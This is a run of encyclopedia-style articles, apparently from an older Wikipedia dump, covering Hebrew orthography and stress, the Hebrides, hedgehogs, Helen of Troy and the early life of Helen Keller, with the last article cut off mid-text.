          Terminal syllabic stress is by far the most common, penultimate stress being the only other grammatically acceptable option. The two options have names: Terminal stress is called milera (מלרע) and penultimate mil'eil (מלעיל). Spoken Hebrew admits of more stress variation than the official dialect. Stress has phonemic value, e.g. "ילד", when pronounced /'jeled/, means "boy", whereas when pronounced /je'led/ it means "will give birth to".


          


          Grammar


          Hebrew grammar is partly analytic, expressing such forms as dative, ablative, and accusative using prepositional particles rather than grammatical cases. However, inflection plays a decisive role in the formation of the verbs and nouns. E.g. nouns have a construct state, called "smikhut", to denote the relationship of "belonging to": this is the converse of the genitive case of more inflected languages. Words in smikhut are often combined with hyphens. In modern speech, the use of the construct is sometimes interchangeable with the preposition "shel", meaning "of". There are many cases, however, where older declined forms are retained (especially in idiomatic expressions and the like), and "person"- enclitics are widely used to "decline" prepositions.


          


          Writing system


          Modern Hebrew is written from right to left using the Hebrew alphabet. Modern scripts are based on the "square" letter form (which was developed from the Aramaic script). A similar system is used in handwriting, but the letters tend to be more circular in their character, when written in cursive, and sometimes vary markedly from their printed equivalents.


          


          Vowel signs


          Original Biblical Hebrew text contained nothing but consonants and spaces and this is still the case with Torah scrolls that are used in synagogues. A system of writing vowels called niqqud (from the root word meaning "points" or "dots") developed around the 5th Century CE. It is used today in printed Bibles and some other religious books and also in poetry, children's literature, and texts for beginning students of Hebrew. Most modern Hebrew texts contain only consonant letters, spaces and western-style punctuation and to facilitate reading without vowels matres lectionis (see below) are often inserted into words which would be written without them in a text with full niqqud. The niqqud system is sometimes used when it is necessary to avoid certain ambiguities of meaning (such as when context is insufficient to distinguish between two identically spelled words) and in the transliteration of foreign names.


          


          Consonant letters


          All Hebrew consonant phonemes are represented by a single letter. Although a single letter might represent two phonemes  the letter "bet," for example, represents both /b/ and /v/  the two sounds are always related "hard" ( plosive) and "soft" ( fricative) forms, their pronunciation being very often determined by context. In fully pointed texts, the hard form normally has a dot, known as a dagesh, in its centre.


          There are twenty-seven symbols, representing twenty-two letters, in the Hebrew alphabet, which is called the "aleph bet" because of its first two letters. The letters are as follows: Aleph, Bet/Vet, Gimel, Dalet, He, Vav, Zayin, Chet, Tet, Yod (pronounced Yud by Israelis), Kaf/Chaf, Lamed, Mem, Nun, Samekh, Ayin, Pe/Fe, Tzadi, Qof (pronounced Koof by Israelis), Resh, Shin/Sin, Tav.


          
            	The letters Bet, Kaf and Pe (historically, also the letters Gimel, Dalet and Tav) are softened to fricatives when following a vowel (except when doubled). In a fully pointed text, this distinction is indicated by the use of dagesh to denote the hard sound. (Occasionally, a horizontal line called rafe, written above the letter, is used to indicate the softened sound.) This has led to the misconception that there are separate letters "Vet", "Chaf" and "Fe".


            	The letter Shin/Sin is usually pronounced Sh, but occasionally S. In fully pointed texts, this distinction is indicated by a dot at the top left hand corner (for Sin) or the top right hand corner (for Shin). This may indicate that the pronunciation prevailing when the consonantal spelling of Hebrew was fixed was different from that prevailing when the system of pointing was devised, so that the Sin dot is a permanent reminder saying "this letter is spelled Shin but pronounced Samech". (In Samaritan Hebrew Shin is pronounced Sh wherever it occurs, and there is no "Sin".) Others regard Sin as a genuine phoneme separate from both Shin and Samech and believe that it must once have had a distinct pronunciation.


            	There are two written forms of the letters Kaf/Chaf, Mem, Nun, Pe and Tzadi. Each of these is written differently when appearing at the end of a word than when appearing at the beginning or in the middle of the word. The version used at the end of a word is referred to as Final Kaf, Final Mem, etc. Except in the case of Mem, the difference is that the final form has a tail pointing straight down, whereas in the normal form it bends to the left to point to the next letter.

          


          


          Mater lectionis


          The letters he, vav and yod can represent consonantal sounds (/h/, /v/ and /j/, respectively) or serve as a markers for vowels. In the latter case, these letters are called "emot q'ria" (" matres lectionis" in Latin, "mothers of reading" in English).


          The letter he at the end of a word usually indicates a final /a/, which usually indicates feminine gender, or /e/, which usually indicates masculine gender. In rare cases it may also indicate /o/, such as in שְׁלֹמֹה (Shlomo, Solomon). It may also indicate a possessive suffix for 3rd person feminine singular (סִפְרָהּ, her book), but in that case the he is not a mater lectionis but the consonant /h/, although in spoken Hebrew the distinction is rarely made. In texts with niqqud the he is written with a mappiq in the latter case. Correct pronunciation must be guessed according to context and niqqud may be used for disambiguation.


          Vav may represent /o/ or /u/, and yod may represent /i/ or /e/. Sometimes a double yud is used for /ej/ or /aj/ (this convention is derived from Yiddish). In some modern Israeli texts, the letter alef is used to indicate long /a/ sounds in foreign names, particularly those of Arabic origin.


          In some words there is a choice of whether to use a mater lectionis or not, and in modern printed texts matres lectionis are sometimes used even for short vowels, which is considered to be grammatically incorrect though instances are found as far back as Talmudic times. Spelling with matres lectionis is called male (full), while spelling without matres lectionis is called haser (defective). In Talmudic times texts from Palestine were noticeably more inclined to male spellings than texts from Babylonia: this may reflect the influence of Greek, which had full alphabetic spelling. Similarly in the Middle Ages Ashkenazim tended to use male spellings under the influence of European languages, while Sephardim tended to use haser spellings under the influence of Arabic.


          


          Indicating stress


          There is no one universally accepted sign for indicating stress in Hebrew texts. Usually stress is unmarked. In some vocalized texts, such as prayer books, when the stress is not on the last syllable it is marked with a small stroke placed underneath the first consonant of the stressed syllable to the left of the vowel mark (occasionally, as in Davidson's grammar, a different sign is used, to avoid confusion with meteg, see next paragraph). In vocalized Biblical texts stress is shown by the appropriate cantillation mark.


          A secondary stress in a word may be marked with a vertical stroke, called a meteg (מתג), placed to the left of the vowel: this symbol is available in Unicode. Meteg is most usually found two syllables before the main stress: thus, when the following consonant carries a shva, it follows that that shva is a sounded one. (For example, the word ochlah, her food, is written in the same way as āchěla, she ate, but meteg on the first syllable shows that āchěla is intended.)


          These signs are used, if at all, only in texts with niqqud.
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          The Hebrides (HEB-ri-deez, Gaelic: Innse Gall) comprise a widespread and diverse archipelago off the west coast of Scotland. There are two main groups, the Inner and Outer Hebrides. These islands have a long history of occupation dating back to the Mesolithic and the culture of the residents has been affected by the successive influences of Celtic, Norse and English speaking peoples, which this is reflected in names given to the islands.


          


          Geology and geography


          The Hebrides have a diverse geology ranging in age from Precambrian strata that are amongst the oldest rocks in Europe to Tertiary igneous intrusions. They can be divided into two main groups:


          
            	Inner Hebrides, including Islay, Jura, Skye, Mull, Raasay, Staffa and the Small Isles


            	Outer Hebrides, including Barra, Berneray, Harris, Lewis, North Uist, South Uist, and St Kilda

          


          The Hebrides as a whole are sometimes referred to as the Western Isles, but this term is more accurately applied just to the Outer Hebrides, which were once known as The Long Island.


          The Hebrides are probably the best-known group of Scottish islands, but other groups include the islands of the Firth of Clyde, Islands of the Forth and the Northern Isles. The islands in the Clyde, especially Arran, are sometimes mistakenly called Hebrides too.


          The Hebrides lie in the Sea of the Hebrides; see map .


          


          Language


          The Hebrides contain the largest concentration of Scottish Gaelic speakers in Scotland. This is especially true of the Outer Hebrides, where the overall majority of people speak it. The Scottish Gaelic college, Sabhal Mr Ostaig, is based on Skye and Islay.


          


          Etymology


          In English, until the 18th Century, people used to call only a part of the Hebrides with the common name Western Isles (i.e. "Outer Hebrides"). The Hebrides is an 18th Century rediscovery and misunderstanding of the classical Latin name Hebudes, where u was misread ri. The classical Latin forms Hebudes or Hbudes were used by the Roman writers Pliny the Elder, Pomponius Mela and Solinus. In Ancient Greek the archipelago was called ἱῦ = Haiboudai by Ptolemy.


          The old Old Norse name, during the Viking occupation, was Sureyjar, which means "Southern Isles" (see also Sodor). It was given in contradistinction to Norreyjar, or the " Northern Isles", i. e. Orkney and Shetland.


          Ironically, given the status of the Western Isles as the last Gidhlig speaking stronghold in Scotland, the Gaelic language name for the islands - Innse Gall - means "Isles of the foreigners" which has roots in the time when they were under Norse occupation and colonisation, and in reference to the Norse-Gaels, known in Gaelic as the Gall Gaidhel (meaning Foreign Gaels).


          


          History


          


          Prehistory


          The Hebrides were settled early on in the settlement of the British Isles, perhaps as early as the Mesolithic era, around 8500-8250 BC, after the climatic conditions improved enough to sustain human settlement. There are examples of structures possibly dating from up to 3000 BC, the finest example being the standing stones at Callanish, but some archaeologists date the site as Bronze Age. Little is known of the people who settled in the Hebrides but they were likely of the same Celtic stock that had settled Scotland. Settlements at Northton, Harris, have both Beaker & Neolithic dwelling houses, the oldest in The Western Isles, attesting to the settlement.


          


          Celtic era


          The earliest written mention of the Outer Hebrides was by Pomponius Mela, a Roman-Spanish geographer of the first century, who refers to a group of seven islands which he gave the name Haemodae. Pliny the Elder's Naturalis Historia of 77AD gives the name as Hebudes. Other ancient writers such as the Egyptian astronomer Ptolemy, and Solinus (3rd Century AD) all seem to mention the Hebrides, attesting to some contact of the peoples there to the Roman world.


          Little is known of the history of the peoples of the Hebrides before the 6th century as they, like the rest of Scotland, were in the depths of the Dark Ages. The first written records of the islands comes with the arrival of St. Columba in the 6th century AD. It was this Irish-Scottish saint who first brought Christianity to the islands in the 6th century, founding several churches.


          


          Norwegian control


          The Hebrides began to come under Norse control and settlement already before the 9th century, known as Sureyar or southern islands in Old Norse. The Norwegian control of the Hebrides was formalised in 1098 when Edgar of Scotland recognised the claim of Magnus III of Norway. The Scottish acceptance of Magnus III as King of the Isles came after the Norwegian king had conquered the Orkney Islands, the Hebrides and the Isle of Man in a swift campaign earlier the same year, directed against the local Norwegian leaders of the various islands. By capturing the islands Magnus III subdued the Norsemen who had seized the islands centuries earlier and imposed a more direct royal control.


          The Norwegian control of both the Inner and Outer Hebrides would see almost constant warfare until being ultimately resolved by the partitioning of the Western Isles in 1156. The Outer Hebrides would remain under the Kingdom of Mann and the Isles while the Inner Hebrides broke out under Somerled, the Norse-Gael kinsman of both Lulach and the Manx royal house.


          After his victory of 1156 Somerled went on to two years later seize control over the Isle of Man itself and become the last King of Mann and the Isles to rule over all the islands the kingdom had once included. After Somerled's death in 1164 the rulers of Mann would no longer be in control of the Inner Hebrides.


          


          Scottish control


          In 1262 there was a Scottish raid on Skye and this caused Haakon IV, King of Norway, to set sail for Scotland to settle the issue. Late in 1263 Haakon headed for Scotland with a large invasion force consisting of 200 ships and 15,000 men. The storms around the coast of Scotland took their toll on the Norwegian fleet, which at one point meant dragging forty ships overland to Loch Lomond. In the end a minor skirmish took place at the Battle of Largs where the Norwegians and their Manx allies under Magnus III of the Isle of Man failed to achieve anything more than a minor tactical victory against the Scots led by Alexander III, King of Scots. After the battle the bad weather forced the Norwegian-Manx fleet to sail back to Orkney. After arriving in Kirkwall, Haakon decided to winter in Bishop's Palace before resuming his campaign the following summer. This failed to occur as the king was struck by illness and died in his palace in December of the same year. The death of Haakon left the crown to his son Magnus the Lawmaker, who considered peace with the Scots more important than holding on to the Norwegian possessions off western Scotland and in the Irish Sea. The Treaty of Perth of 1266 left the Hebrides and the Isle of Man to Scotland for 4000 marks and an annual payment of 100 marks. The treaty also confirmed Norwegian sovereignty over Shetland and Orkney. Still, Scottish rule over the Isle of Man was confirmed finally only after the Manx and their last Norse king, Godred VI Magnuson were decisively defeated in the 1275 Battle of Ronaldsway.


          


          The arts


          The The Hebrides, also known as Fingal's Cave, is a famous overture written by Felix Mendelssohn while residing on these islands, while Granville Bantock wrote the Hebridean Symphony. Contemporary musicians associated with the islands include Ian Anderson, Donovan and Runrig. The poet Sorley MacLean was born on Raasay, the setting for his best known poem, Hallaig. Iain Crichton Smith was brought up on Lewis and Derick Thomson was born there. The Hebrides are the setting of The Solitary Reaper, by William Wordsworth.


          The novelist Compton Mackenzie lived on Barra and George Orwell wrote 1984 whilst living on Jura. J.M. Barrie's Marie Rose contains references to Harris inspired by a holiday visit to Amhuinnsuidhe Castle and he wrote a screenplay for the 1924 film adaptation of Peter Pan whilst on Eilean Shona.
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          A hedgehog is any of the small spiny mammals of the subfamily Erinaceinae and the order Erinaceomorpha. There are 16 species of hedgehog in five genera, found through parts of Europe, Asia, Africa, and New Zealand. There are no hedgehogs native to Australia, and no living species native to North America; those in New Zealand are introduced. Hedgehogs have changed little over the last 15 million years. Like many of the first mammals they have adapted to a nocturnal, insectivorous way of life. The name 'hedgehog' came into use around the year 1450, derived from the Middle English 'heyghoge', from 'heyg', 'hegge' = hedge, because it frequents hedgerows, and 'hoge', 'hogge' = hog, from its piglike snout. Other folk names include ' urchin', 'hedgepig' and 'furze-pig' .


          


          Physical description


          Hedgehogs are easily recognized by their spines, which are hollow hairs made stiff with keratin. Their spines are not poisonous or barbed and, unlike the quills of a porcupine, cannot easily be removed from the animal. However, spines normally come out when a hedgehog sheds baby spines and replaces them with adult spines. This is called "quilling". When under extreme stress or during sickness, a hedgehog can also lose spines.
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          A defense that all species of hedgehogs possess is the ability to roll into a tight ball, causing all of the spines to point outwards. However, its effectiveness depends on the number of spines, and since some of the desert hedgehogs evolved to carry less weight, they are much more likely to try to run away and sometimes even attack the intruder, trying to ram into the intruder with its spines, leaving rolling as a last resort. This results in a different number of predators for different species: while forest hedgehogs have relatively few, primarily birds (especially owls) and ferrets, smaller species like the Long-eared Hedgehog are preyed on by foxes, wolves and mongooses.


          All hedgehogs are primarily nocturnal, although different species can be more or less likely to come out in the daytime. The hedgehog sleeps for a large portion of the daytime either under cover of bush, grass, rock or in a hole in the ground. Again, different species can have slightly different habits, but in general hedgehogs dig out dens for shelter. All wild hedgehogs can hibernate, although not all do; hibernation depends on temperature, species, and abundance of food.


          Hedgehogs have 5 toes on their front paws with short nails. However, on their back paws they have 4 toes with long, constantly growing nails. They have these characteristics because hedgehogs burrow.


          Hedgehogs are fairly vocal, and communicate not only in a series of grunts and snuffles, but sometimes in loud squeals (depending on species).


          Hedgehogs occasionally perform a ritual called anointing. When the animal comes across a new scent, it will lick and bite the source and then form a scented froth in its mouth and paste it on its spines with its tongue. It is not known what the specific purpose of this ritual is, but some experts believe anointing camouflages the hedgehog with the new scent of the area and provides a possible poison or source of infection to any predator that gets poked by their spines. Anointing is sometimes also called anting because of a similar behaviour in birds.


          Similar to opossums, mice, and moles, hedgehogs have some natural immunity against snake venom due to the protein erinacin in the animal's muscular system.


          Hedgehogs perform well with other pets, including cats and dogs. They are occasionally threatened by these animals, though, but for those rare instances, the hedgehogs just roll into a ball until the threat is gone.


          


          Diet
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          Although traditionally classified in the now abandoned order Insectivora, hedgehogs are not exclusively insectivores but are almost omnivorous. Hedgehogs feed on insects, snails, frogs and toads, snakes, bird eggs, carrion, mushrooms, grass roots, berries, melons, and watermelons. In fact, berries constitute a major part of an Afghan Hedgehog's diet in early spring after hibernation. The hedgehog is occasionally spotted after a rainstorm foraging for earthworms. Although forest hedgehogs, most well-known to Europeans, are indeed mainly insectivores, this is not necessarily true for other species.


          In areas that have hedgehogs in the wild, they are often welcomed as a natural form of garden pest control. Many people leave food out to attract hedgehogs. Although hedgehogs are lactose-intolerant, they will eagerly consume cheese, milk, and dairy products, causing illness. The common pet hedgehog ( Four-toed Hedgehog) can however have a small portion of cottage cheese as a dietary supplement. Dog and cat food are better than dairy, but both are often too high in fat and too low in protein. It is best to leave out only a small treat, leaving them plenty of appetite for the pests in one's garden.


          


          Reproduction and lifespan
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          Depending on the species, the gestation period is 3558 days. The average litter is 34 newborns for larger species and 56 for smaller ones. As with many animals, it is not unusual for an adult male hedgehog to kill newborn males.


          The hedgehog's dilemma is based upon the apparent danger of a male hedgehog being injured from a spine while mating with a female hedgehog. It states that the closer two people are to each other, the more they may hurt one another. However, this is not an issue for hedgehogs as the male's penis is very near the centre of its abdomen (often mistaken for a belly button) and the female has the ability to curl her tail upward to the point that her vulva protrudes behind the rest of her body. As such, the male doesn't have to get completely on top of the female when mating.


          Hedgehogs have a relatively long lifespan for their size. Larger species of hedgehogs live 47 years in the wild (some have been recorded up to 16 years), and smaller species live 24 years (47 in captivity), compared to a mouse at 2 years and a large rat at 35 years. Lack of predators and controlled diet contribute to a longer lifespan in captivity.


          Hedgehogs are born blind. Many believe that they are born without quills, which develop in the following days. However the quills are easily visible within hours of birth. The infants are born with quills beneath the skin, like pimples, and pass the skin after they have been cleaned.


          


          Domesticated hedgehogs
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          The most common pet species of hedgehog are hybrids of the White-bellied Hedgehog or Four-toed Hedgehog (Atelerix albiventris) and the North African Hedgehog (A. algirus). It is smaller than the West European Hedgehog, and thus is sometimes called the African Pygmy Hedgehog. Other species kept as pets are the Long-eared Hedgehog (Hemiechinus auritus) and the Indian Long-eared Hedgehog (H. collaris).


          Domesticated species prefer a warm climate (above 72F/22C but below 85F/29.5C) and do not naturally hibernate. They eat an insectivore diet. Commonly, this is replaced with cat food and ferret food and is supplemented by insects and other small animals. Today, many pet stores sell hedgehog mixes that are specifically formulated for hedgehogs. Crickets, mealworms, and pinkies (baby mice) are also favored treats. It is illegal to own a hedgehog as a pet in some U.S. states and some Canadian municipalities, and breeding licenses are required. No such restrictions exist in most European countries with the exception of Scandinavia.


          The purchase of domesticated hedgehogs has seen a considerable increase in the last few years owing to their apparently innocent and playful looks. Hedgehogs are difficult to maintain as pets because of their low resistance to climate and temperature changes, and their inability to adapt to enclosed environments.


          


          Pest control
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          Hedgehogs are a powerful form of pest control. A single hedgehog can keep an average garden free of pests by eating up to 200 grams of insects each night. It is common throughout the United Kingdom to see people attempting to lure hedgehogs into their gardens with treats and hedgehog-sized holes in their fences.


          One problem with using hedgehogs for garden pest control is the use of chemical insecticide. While the hedgehog is large enough to resist most insecticides, it cannot withstand them if it eats many insects which have become full of the poison. This causes many hedgehog deaths where pet hedgehogs eat contaminated bugs within the house.


          In areas where hedgehogs have been introduced, such as New Zealand and the islands of Scotland, the hedgehog itself has become a pest. In New Zealand it causes immense damage to native species including insects, snails and ground-nesting birds, particularly shore birds. As with many introduced animals, it lacks natural predators. With overpopulation, it kills off more insects than initially intended and expands its diet to include things such as snails, worms, and the eggs of wading birds. Attempts to eliminate hedgehogs from bird colonies on the Scottish islands of North Uist and Benbecula in the Outer Hebrides have met with considerable opposition.


          


          Hedgehog diseases


          Humans share many diseases common to hedgehogs. These include cancer, fatty liver disease, and cardiovascular disease.


          Cancer is very common in hedgehogs. The most common is squamous cell carcinoma. Squamous cell spreads quickly from the bone to the organs in hedgehogs, unlike in humans. Surgery to remove the tumors is rare because it would result in removing too much bone structure.


          Fatty liver disease is believed by many to be caused by bad diet. Hedgehogs will eagerly eat foods that are high in fat and sugar. Having a metabolism adapted for low-fat, protein-rich insects, this leads to common problems of obesity. Fatty liver disease is one sign, heart disease is another.


          Hedgehogs uncommonly transmit a characteristic fungal skin infection to human handlers as well as other hedgehogs. This ringworm or dermatophytosis infection is caused by Trichophyton erinacei, which forms a distinct mating group within the Arthroderma benhamiae species complex.


          It is possible for a hedgehog's lung to be injured in such a fashion that air is trapped under its skin, causing it to inflate to enormous size.


          


          Human influence


          As with most small mammals living around humans, cars pose a great threat to hedgehogs. Many are run over as they attempt to cross roadways.


          Another common human-related fatality is pesticides. Hedgehogs that eat insects filled with pesticides will often form digestive problems and eventually die.


          In 2006, McDonald's changed the design of their McFlurry containers to be more hedgehog-friendly. Previously, hedgehogs would get their heads stuck in the container as they tried to lick the remaining food from inside the cup. Then, being unable to get out, they would starve to death. Domesticated hedgehogs display this behavior by getting their head stuck in tubes (commonly, lavatory paper tubes) and walking around with the tube on their head. Hedgehog owners often refer to this as "tubing" and promote the behaviour by supplying clean tubes.


          


          Culinary use


          Hedgehogs are a food source in many cultures. Hedgehogs were eaten in Ancient Egypt and some recipes of the Late Middle Ages call for hedgehog meat. Hedgehog meat is still acceptable in some societies, and there are folk-remedies that include it as an ingredient.


          A method of preparation that has been used since ancient times is to cover a hedgehog with clay and bake it. The hedgehog is then removed and the clay cracked open, taking the spikes of the hedgehog with it, a practice that a common urban myth claims is widespread among gypsies.


          During the 1980s, "hedgehog-flavoured" crisps were introduced in Britain, although the product did not in fact contain any hedgehog.


          


          Genera and species
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          Subfamily Erinaceinae (Hedgehogs)


          
            	Genus Atelerix

              
                	Four-toed Hedgehog, Atelerix albiventris


                	North African Hedgehog, Atelerix algirus


                	Southern African Hedgehog, Atelerix frontalis


                	Somalid Hedgehog, Atelerix sclateri

              

            


            	Genus Erinaceus

              
                	Amur Hedgehog, Erinaceus amurensis


                	Southern White-breasted Hedgehog, Erinaceus concolor


                	West European Hedgehog, Erinaceus europaeus


                	Northern White-breasted Hedgehog, Erinaceus roumanicus

              

            


            	Genus Hemiechinus

              
                	Long-eared Hedgehog, Hemiechinus auritus


                	Indian Long-eared Hedgehog, Hemiechinus collaris

              

            


            	Genus Mesechinus

              
                	Daurian Hedgehog, Mesechinus dauuricus


                	Hugh's Hedgehog, Mesechinus hughi

              

            


            	Genus Paraechinus

              
                	Desert Hedgehog, Paraechinus aethiopicus


                	Brandt's Hedgehog, Paraechinus hypomelas


                	Indian Hedgehog, Paraechinus micropus


                	Bare-bellied Hedgehog, Paraechinus nudiventris
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          In Greek mythology, Helen ( Greek: Ἑέ, Helnē), better known as Helen of Troy, was the daughter of Zeus and Leda and the wife of Menelaus, king of Sparta. She was the sister of Castor, Polydeuces, and Clytemnestra. Her abduction by Paris brought about the Trojan War.
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          Etymology


          The name's etymology is open to speculation. If it has an Indo-European etymology, it is possibly a suffixed form of a root *wel- "to turn, roll" or "to cover, enclose" (compare Varuna, Veles), or of *sel- "to flow, run". The latter possibility would allow comparison to Vedic Saraṇyū, who is abducted in RV 10.17.2, a parallel suggestive of an Proto-Indo-European abduction myth.


          The name is in any case unrelated to Hellenes, as is sometimes claimed ("Hellenes" being from the root *sed- "to sit, settle").


          


          Life of Helen


          


          Birth


          In most sources, including the Iliad and the Odyssey, Helen is the daughter of Zeus and Leda. Euripides' play Helen, written in the late 5th century BC, is the earliest source to report the most familiar account of Helen's birth: that Zeus, in the form of a swan, was chased by an eagle, and sought refuge with Leda. The swan gained her affection, and the two mated. Leda then produced an egg, from which Helen was born.


          On the other hand, in the Cypria, one of the Cyclic Epics, Helen was the daughter of Zeus and the goddess Nemesis. The date of the Cypria is uncertain, but it is generally thought to preserve traditions that date back to at least the 7th century BC. In the Cypria, Nemesis did not wish to mate with Zeus. She therefore changed shape into various animals as she attempted to flee Zeus, finally becoming a goose. Zeus also transformed himself into a goose and mated with Nemesis, who produced an egg from which Helen was born. Presumably in the Cypria this egg was given to Leda; in the 5th century comedy Nemesis by Cratinus, Leda was told to sit on an egg so that it would hatch, and this is no doubt the egg produced by Nemesis. Asclepiades and Pseudo-Eratosthenes related a similar story, except that Zeus and Nemesis became swans instead of geese. Timothy Gantz has suggested that the tradition that Zeus came to Leda in the form of a swan derives from the version in which Zeus and Nemesis transformed into birds.


          


          Abduction by Theseus


          Two Athenians, Theseus and Pirithous, pledged to wed daughters of Zeus. Theseus chose Helen, and Pirithous vowed to marry Persephone, the wife of Hades. Theseus and Pirithous kidnapped Helen and left her with Theseus' mother, Aethra, while they travelled to the underworld, the domain of Hades, to kidnap Persephone. Hades pretended to offer them hospitality and set a feast. As soon as the pair sat down, snakes coiled around their feet and held them there. Helen was subsequently rescued by her brothers, Castor and Pollux, who returned her to Sparta.


          In most accounts of this event, Helen was quite young; Hellanicus of Lesbos said she was seven years old and Diodorus makes her ten years old. On the other hand, Stesichorus said that Iphigeneia was the daughter of Theseus and Helen, which obviously implies that Helen was of childbearing age. In most sources, of course, Iphigeneia is the daughter of Agamemnon and Clytaemnestra, but Duris of Samos and other writers followed Stesichorus' account.


          


          Marriage to Menelaus


          When it was time for Helen to marry, many kings and princes from around the world came to seek her hand or sent emissaries to do so on their behalf. Among the contenders were Odysseus, Menestheus, Ajax the Great, Patroclus and Idomeneus, Agamemnon, both of whom were in exile, having fled Thyestes. All but Odysseus brought many rich gifts with them.


          Tyndareus would not choose a suitor, or send any of the suitors away, for fear of offending them and giving grounds for a quarrel. Odysseus promised to solve the problem if Tyndareus would support him in his courting of Penelope, the daughter of Icarius. Tyndareus readily agreed and Odysseus proposed that, before the decision was made, all the suitors should swear a most solemn oath to defend the chosen husband against whoever should quarrel with him. This stratagem succeeded and Helen and Menelaus were married. Following Tyndareus' death, Menelaus became king of Sparta because the only male heirs, Castor and Polydeuces, had died and ascended to Mount Olympus.


          


          Suitors of Helen


          Several lists of her suitors were compiled, since the suitors of Helen were later the heroes of the Trojan War. This one is from Apollodorus:


          Odysseus, son of Laertes; Diomedes, son of Tydeus; Antilochus, son of Nestor; Agapenor, son of Ancaeus; Sthenelus, son of Capaneus; Amphimachus, son of Cteatus; Thalpius, son of Eurytus; Meges, son of Phyleus; Amphilochus, son of Amphiaraus; Menestheus, son of Peteos; Schedius and Epistrophus, sons of Iphitus; Polyxenus, son of Agasthenes; Peneleos, son of Hippalcimus; Leitus, son of Alector; Ajax, son of Oileus; Ascalaphus and Ialmenus, sons of Ares; Elephenor, son of Chalcodon; Eumelus, son of Admetus; Polypoetes, son of Perithous; Leonteus, son of Coronus; Podalirius and Machaon, sons of Aesculapius; Philoctetes, son of Poeas; Eurypylus, son of Evaemon; Protesilaus, son of Iphiclus; Menelaus, son of Atreus; Ajax and Teucer, sons of Telamon; Patroclus, son of Menoetius.


          This list is not complete; Apollodorus earlier mentions Cinyras king of Cyprus and Enarophorus and later mentions Idomeneus king of Crete Another list was compiled by Hesiod and, later by Hyginus.


          


          Seduction by Paris
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          Some years later, Paris, a Trojan prince, came to Sparta to marry Helen, whom he had been promised by Aphrodite after he had chosen her as the most beautiful of the goddesses, earning the wrath of Athena and Hera. Helen fell in love with him, as the goddess had promised. Some sources say that Helen willingly left behind her husband Menelaus and Hermione, their nine-year-old daughter, to be with her new love, but, since Aphrodite promised Helen to Paris, there is some ambiguity about whether or not Helen went willingly.


          Helen's relationship with Paris varies depending on the source of the story. In some, she loved him dearly (perhaps caused by Aphrodite, who had promised her to Paris). In others, she was portrayed as his unwilling captive in Troy, or as a cruel, selfish woman who brought disaster to everyone around her, and she hated him. In the version used by Euripides in his play Helen, Hermes fashioned a likeness of her out of clouds at Zeus's request, and Helen never even went to Troy, having spent the entire war in Egypt. In all, she is described as being of magnificent beauty.


          


          Fall of Troy


          When he discovered that his wife was missing, Menelaus called upon all the other suitors to fulfill their oaths, thus beginning the Trojan War. Almost all of Greece took part, either attacking Troy with Menelaus or defending it from them.


          Late in the Trojan War, Paris was killed by Philoctetes. After Paris died, his brother, Deiphobus, married Helen until he was killed by Menelaus.


          

          Menelaus had demanded that only he should slay his unfaithful wife; but, when he raised his sword to do so, the sight of her beauty caused him to let the sword drop from his hand.


          


          Herodotus


          According to Herodotus Helen never went to Troy. Paris was forced to stop in Egypt on his way home. While there, his servants told the Egyptians that Paris had kidnapped the wife of Menelaus, who had offered Paris hospitality. The Egyptians scolded Paris and informed him that they were confiscating all the treasure he had stolen (including Helen) until Menelaus came to claim them and that Paris had three days to leave their shores.


          


          Fate


          Helen returned to Sparta and lived for a time with Menelaus, where she was encountered by Telemachus in The Odyssey. According to another version, used by Euripides in his play Orestes, Helen had long ago left the mortal world by then, having been taken up to Olympus almost immediately after Menelaus's return.


          According to Pausanias the geographer (3.19.10.):


          "The account of the Rhodians is different. They say that when Menelaus was dead, and Orestes still a wanderer, Helen was driven out by Nicostratus and Megapenthes and came to Rhodes, where she had a friend in Polyxo, the wife of Tlepolemus. For Polyxo, they say, was an Argive by descent, and when she was already married to Tlepolemus shared his flight to Rhodes. At the time she was queen of the island, having been left with an orphan boy. They say that this Polyxo desired to avenge the death of Tlepolemus on Helen, now that she had her in her power. So she sent against her when she was bathing handmaidens dressed up as Furies, who seized Helen and hanged her on a tree, and for this reason the Rhodians have a sanctuary of Helen of the Tree."


          Tlepolemus was a son of Heracles and Astyoche. Astyoche was a daughter of Phylas, King of Ephyra who was killed by Heracles. Tlepolemus was killed by Sarpedon on the first day of fighting in the Iliad. Nicostratus was a son of Menelaus by his concubine Pieris, an Aetolian slave. Megapenthes was a son of Menelaus by his concubine Tereis, no further origin mentioned.


          Trivia


          Inspired by the line "Was this the face that launched a thousand ships...?" from Marlowe's play The Tragical History of Doctor Faustus, Isaac Asimov jocularly coined the unit millihelen to mean the amount of beauty that can launch one ship.
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          Helen Adams Keller (June 27, 1880  June 1, 1968) was an American author, activist and lecturer. She was the first deafblind person to graduate from college.


          The story of how Keller's teacher, Annie Sullivan, broke through the isolation imposed by a near complete lack of language, allowing the girl to blossom as she learned to communicate, has become known worldwide through the dramatic depictions of the play The Miracle Worker.


          A prolific author, Keller was well traveled, and was outspoken in her opposition to war. She campaigned for women's suffrage, workers' rights and socialism, as well as many other progressive causes.


          


          Early childhood and illness
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          Helen Keller was born at an estate called Ivy Green in Tuscumbia, Alabama, on June 27, 1880, to Captain Arthur H. Keller, a former officer of the Confederate Army, and Kate Adams Keller, a cousin of Robert E. Lee and daughter of Charles W. Adams, a former Confederate general. The Keller family originates from Germany. She was not born blind and deaf; it was not until she was nineteen months old that she contracted an illness described by doctors as "an acute congestion of the stomach and the brain", which could possibly have been scarlet fever or meningitis. Keller had a particular form of the disease that brought blindness and retardation. The illness did not last for a particularly long time, but it left her deaf and blind. At that time her only communication partner was Martha Washington, the six-year-old daughter of the family cook, who was able to create a sign language with her; by age seven, she had over 60 home signs to communicate with her family.
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          In 1886, her mother, inspired by an account in Charles Dickens' American Notes of the successful education of another deaf and blind child, Laura Bridgman, dispatched young Helen, accompanied by her father, to seek out Dr. J. Julian Chisolm, an eye, ear, nose and throat specialist in Baltimore, for advice. He, subsequently, put them in touch with Alexander Graham Bell, who was working with deaf children at the time. Bell advised the couple to contact the Perkins Institute for the Blind, the school where Bridgman had been educated, which was then located in South Boston. The school delegated teacher and former student Anne Sullivan, herself visually impaired and then only 20 years old, to become Keller's instructor.

          It was the beginning of a 49-year-long relationship, eventually evolving into governess and then eventual companion.


          Her first task was to instill discipline in the spoiled girl. Keller's big breakthrough in communication came one day when she realized that the motions her teacher was making on her palm, while running cool water over her hand, symbolized the idea of "water"; she then nearly exhausted Sullivan demanding the names of all the other familiar objects in her world (including her prized doll).


